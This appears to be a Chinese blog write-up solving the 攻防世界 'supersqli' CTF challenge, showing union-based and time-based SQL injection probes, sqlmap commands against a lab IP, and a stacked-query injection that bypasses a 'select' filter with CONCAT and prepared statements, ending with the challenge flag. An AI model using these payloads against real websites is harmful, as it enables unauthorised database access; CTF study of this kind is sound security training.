攻防世界supersqli

提示:本文24小时在线,如有问题可联系我!

文章目录

  • 前言
    • `提示:攻防世界supersqli`
  • 一、sql注入?
  • 二、Sqlmap工具
      • 3.堆叠注入


前言

提示:攻防世界supersqli

一、sql注入?

基础:
简单过一遍流程吧!

1' or 1=1 -- a   //判断是否存在注入 
1' and 1=2 -- a   //无报错,说明执行了语句
1' order by 2 -- a //判断字段数
1' order by 3 -- a //报错,说明两位
' union select 1,database() -- a   //数据库名
' union select 1,table_name from information_schema.tables where table_schema=database() -- a   //表名,写database()上一步可以省略了
' union select 1,column_name from information_schema.columns where table_schema=database() and table_name ='上面的' -- a   //列名

' union select * form 库.-- a

还记得不。
爆表就出现问题了
在这里插入图片描述
过滤了呗!
报错,盲注呗!浅试一下都不行~。深度盲注:时间盲注呗!
猜数据库长度

1' and if(length(database())=9,sleep(5),1) -- a

???一个一个试?
绝不可能。先试试工具吧!

二、Sqlmap工具

爆库

 python sqlmap.py -u http://61.147.171.105:63091/?inject=1 --dbs

报表

 python sqlmap.py -u http://61.147.171.105:58878/?inject=1 -D supersqli --tables --time-sec=2 --technique=T --level=3

爆不出来。
。。。
试试堆叠注入

3.堆叠注入

爆库

';show database(); -- a

攻防世界supersqli_第1张图片
查表

1';show tables;-- a

攻防世界supersqli_第2张图片
查列名
当纯数字字符串是表名的时候需要加反引号`

';show columns from `1919810931114514`;-- a

攻防世界supersqli_第3张图片
查字段
过滤了select.没办法只能预编译。

';
sEt @sql = CONCAT('se','lect * from `1919810931114514`;');
#进行预编译
prEpare stmt from @sql;
#设置变量
EXECUTE stmt;#
#执行

执行语句

http://61.147.171.105:58878/?inject=%27;sEt%20@sql%20=%20CONCAT(%27se%27,%27lect%20*%20from%20`1919810931114514`;%27);prEpare%20stmt%20from%20@sql;EXECUTE%20stmt;#

攻防世界supersqli_第4张图片

结果

flag{c168d583ed0d4d7196967b28cbd0b5e9}

你可能感兴趣的:(攻防世界系列,数据库,网络安全,php)